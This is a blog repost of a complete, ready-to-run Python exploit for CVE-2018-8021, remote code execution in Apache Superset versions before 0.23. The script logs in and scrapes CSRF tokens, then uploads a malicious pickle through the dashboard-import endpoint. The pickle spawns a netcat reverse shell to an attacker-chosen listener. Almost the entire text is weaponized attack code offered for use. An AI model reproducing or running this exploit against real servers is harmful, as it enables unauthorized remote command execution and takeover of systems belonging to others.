Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86380674

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Apache Superset < 0.23 - Remote Code Execution
# Date: 2018-05-17
# Exploit Author: David May (david.may@semanticbits.com)
# Vendor Homepage: https://superset.apache.org/
# Software Link: https://github.com/apache/incubator-superset
# Version: Any before 0.23
# Tested on: Ubuntu 18.04
# CVE-ID: CVE-2018-8021

# I originally disclosed this to the Apache Superset team back in May, and the fix had already been 
# in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.

#!/usr/bin/env python

import sys
import os
from lxml import html
import requests

# Change these values to your TCP listener
myIP = '192.168.137.129'
myPort = '8888'
# Credentials must belong to user with 'can Import Dashboards on Superset' privilege
username = 'test'
password = 'test'

# Logic in case script arguments are not given
if len(sys.argv) < 3:
	print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')
	print('Script Usage:')
	print('./supersetrce.py <superset server ip> <superset port>')
	sys.exit()
	
else:
	# Script arguments
	supersetIP = sys.argv[1]
	supersetPort = sys.argv[2]
	# Verify these URLs match your environment
	login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/'
	upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'
	
	# Checks to see if file that we are going to write already exists in case this is run more than once
	if os.path.isfile('evil.pickle'):
		os.remove('evil.pickle')
		
	# Headers that we append to our POST requests
	headers_dict = {
		'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
		'DNT': '1',
		'Connection': 'close',
		'Upgrade-Insecure-Requests': '1',
	}
	
	# Creates evil pickle file and writes the reverse shell to it
	evilPickle = open('evil.pickle','w+')
	evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.')
	evilPickle.close()
	
	# Start a session so we have persistent cookies
	session = requests.session()	
	
	# Grabs the Login page to parse it for its CSRF token
	login_page = session.get(login_URL)
	if login_page.status_code != 200:
		print('Login page not reached, verify URLs in script')
	login_tree = html.fromstring(login_page.content)
	csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value')
	
	# Form data that is sent in the POST request to Login page
	login_data = {
		'csrf_token' : csrf_token,
		'username' : username,
		'password' : password,
	}
	
	# Adds the Referer header for the login page
	headers_dict['Referer'] = login_URL
	
	# Logon action
	login = session.post(login_URL, headers=headers_dict, data=login_data)	
	
	# Grabs the Upload page to parse it for its CSRF token
	upload_page = session.get(upload_URL)
	if upload_page.status_code != 200:
		print('Upload page not reached, verify credentials and URLs in script')
	upload_tree = html.fromstring(upload_page.content)
	csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value')
	
	# Adds the Referer header for the Upload page
	headers_dict['Referer'] = upload_URL
	
	# Upload action
	upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})
	
	# Closes the session
	session.close()
	sys.exit()